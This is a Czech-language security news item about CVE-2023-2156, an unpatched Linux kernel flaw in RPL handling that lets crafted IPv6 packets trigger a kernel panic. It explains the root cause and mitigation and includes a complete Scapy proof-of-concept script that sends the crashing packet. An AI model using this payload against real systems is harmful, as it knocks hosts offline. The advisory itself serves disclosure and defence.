Byly zveřejněny informace o neopravitelné (0-day) zranitelnosti (CVE-2023-2156) v jádře Linux, která umožňuje zastavit funkčnost systému zasláním speciálně připravených IPv6 paketů (packet-of-death). Problém se projevuje pouze při zapnuté podpoře protokolu RPL (Routing Protocol for Low-Power and Lossy Networks), který je ve distribucích ve výchozím nastavení deaktivován a používá se především na vestavěných zařízeních pracujících v bezdrátových sítích s vysokou ztrátovostí paketů.
Zranitelnost je způsobena nesprávným zpracováním externích dat v kódu pro analýzu protokolu RPL, což vede k vyvolání chybového stavu assert a přechodu jádra do stavu panic. Při umístění do struktury k_buff (Socket Buffer) dat získaných analýzou hlavičky IPv6 RPL paketu, pokud je pole CmprI nastaveno na hodnotu 15, pole Segleft na 1 a CmprE na 0, 48-bajtový vektor s adresami se rozbalí na 528 bajtů a nastává situace, kdy přidělená paměť pro buffer je nedostatečná. V tomto případě v funkci skb_push, která se používá k umístění dat do struktury, dojde k prověření disproporčnosti velikosti dat a bufferu, které generuje stav panic, aby se zabránilo zápisu mimo hranice bufferu.
Příklad exploitu: # Použijeme Scapy pro vytvoření paketu from scapy.all import * import socket # Použijte IPv6 ze své LAN rozhraní DST_ADDR = sys.argv[1] SRC_ADDR = DST_ADDR # Používáme sokety pro odeslání paketu sockfd = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_RAW) # Vytvoření paketu # Typ = 3 činí tento paket RPL # Adresy obsahují 3 adresy, ale protože CmprI je 15, # každý oktet prvních dvou adres je považován za zkomprimovanou adresu # Segleft = 1 k vyvolání zesílení # lastentry = 0xf0 nastavuje CmprI na 15 a CmprE na 0 p = IPv6(src=SRC_ADDR, dst=DST_ADDR) / IPv6ExtHdrSegmentRouting(type=3, addresses=["a8::", "a7::", "a6::"], segleft=1, lastentry=0xf0) # Odeslat tento škodlivý paket sockfd.sendto(bytes(p), (DST_ADDR, 0))
Je pozoruhodné, že vývojáři jádra byli o zranitelnosti informováni již v lednu 2022 a za posledních 15 měsíců se pokusili problém třikrát vyřešit, když vydali opravy v září 2022, říjnu 2022 a dubnu 2023, ale pokaždé byla oprava nedostatečná a zranitelnost se podařilo reprodukovat. Nakonec projekt ZDI, který koordinoval práci na odstranění zranitelnosti, rozhodl o zveřejnění podrobných informací o zranitelnosti, aniž by čekal na funkční opravu v jádře.
Tímto způsobem zůstává zranitelnost nadále neopravená. Mezi tím není účinný ani patch, který byl zahrnut do jádra 6.4-rc2. Uživatelům se doporučuje zkontrolovat, zda protokol RPL v jejich systémech není používán, což lze provést pomocí příkazu sysctl -a | grep -i rpl_seg_enabled
Zdroj: opennet.ru
